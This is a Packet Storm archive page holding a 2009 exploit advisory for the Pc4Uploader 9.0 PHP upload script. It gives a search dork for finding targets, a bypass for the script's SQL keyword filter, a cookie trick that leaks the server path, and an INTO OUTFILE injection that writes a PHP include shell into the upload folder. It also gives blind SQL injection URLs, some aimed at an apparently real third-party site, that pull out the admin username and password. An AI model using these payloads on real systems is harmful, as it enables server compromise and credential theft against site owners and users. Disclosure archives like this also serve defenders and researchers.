what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Pc4Uploader 9.0 Blind SQL Injection

Pc4Uploader 9.0 Blind SQL Injection
Posted May 19, 2009
Authored by Qabandi

Pc4Uploader version 9.0 suffers from a remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 7be00aa2fb0eec64f7d01e08862fd1bf4848b03c4f75f70c79ca0f9995d72017

Pc4Uploader 9.0 Blind SQL Injection

Change Mirror Download
                  ||          ||   | ||        
o_,_7 _|| . _o_7 _|| q_|_|| o_w_,
( : / (_) / ( .


=By: Qabandi
=Email: iqa[a]hotmail.fr

From Kuwait PEACE

=Vuln: pc4arb - pc4 Uploader <= 9.0 Blind SQL injection
=INFO: http://pc4arb.com/product-13.html
=BUY: http://pc4arb.com/deal-13.html
=DORK: intext:"Powered by Pc4Uploader v9.0"


@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@-SQL-Filter-Bypass@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
----------Vulnerable code@ "./code.php"----------------------------------------
function filter_sql( $inputsql )
{
$regsql = "(delete)|(update)|(union)|(insert)";
return eregi_replace( $regsql, "", $inputsql );
}
------------------END----------------------------------------------------------
-=-===--=-=-==-=-==-=-=-=-=-=-=-=-POC-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
$Q = "UNIunionON";
filter_sql($Q);
echo $Q;

--
Result = UNION

We can use this to upload a file, using the "dumpfile" and "outfile" Mysql functions.

POC:-

conditions: magic_quotes_gpc = off // 0777 chmoded folder // location of folder.

To get location in server, we can generate an error using the STYLE cookie handler, to do this we need to set tempst=qabandi.

javascript:document.cookie="tempst=qabandi";

Refresh,

you will get the following:

Warning: file(templates/Qabandi/main_block.html) [function.file]: failed to open stream: No such file or directory in /home/XXXXXXX/public_html/function.php on line 33

now we have the location in server, "/home/XXXXXXX/public_html/"

"/home/XXXXXXX/public_html/upfiles/" <--- 99% of the time its chmoded 0777.

now the exploit:

http://localhost/pc4up/code.php?load=banner&id=-1 UNunionION select 1,2,3,'<? include($Q);?>',5,6,7,8,9 into outfile '/home/XXXXXXX/public_html/upfiles/qabandi.php'


@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@-BLIND SQL@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
----------Vulnerable code@ "./code.php"-----------------------------------------

if ( $_GET['load'] == "banner" )
{
$idx = $_GET['id'];
$idx = strip_tags( $idx );
$idx = filter_sql( $idx );/// <------ SIMPLY bypassed by using "unUNIONion" ;)
if ( !( $query_banner = mysql_query( "SELECT * FROM banners WHERE id={$idx}" ) ) )
{
exit( "Query failed" );
}
$x = mysql_fetch_row( $query_banner );
$url = $x[2];
$visits = $x[5];
if ( !( $query = mysql_query( "UPDATE banners SET visits=visits+1 WHERE id ={$idx}" ) ) )
{
exit( "Query failed" );
}
header( "Location: {$url}" );
}


--------------:PoC:-------------
conditions: admin must have added a banner using the "add banner" feature. the banner ID must be valid.


Blind SQL DEMO:-
http://upload.traidnt.net/code.php?load=banner&id=1 and substring(@@version,1,1)=4 <-- TRUE! (MySQL version 4)


http://upload.traidnt.net/code.php?load=banner&id=1 and substring(@@version,1,1)=5 <-- BLANK


To get info:

http://upload.traidnt.net/code.php?load=banner&id=1 and ascii(substring((SELECT concat(username,char(62),password) from admin limit 0,1),1,1))>95


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-==-=LA tsta3mloha 3la elmowaqi3 el islamiya=-=-=-=-=-=-=-=-
=-=-=-=-==-=-=-=-=-=-No-More---Private=-=-=-=-=-=-=-=-=-=-=-=-=-=-
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Salamz: Killer Hack, Mr.Mn7os, Ghost-r00t, All muslim hackers.


Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close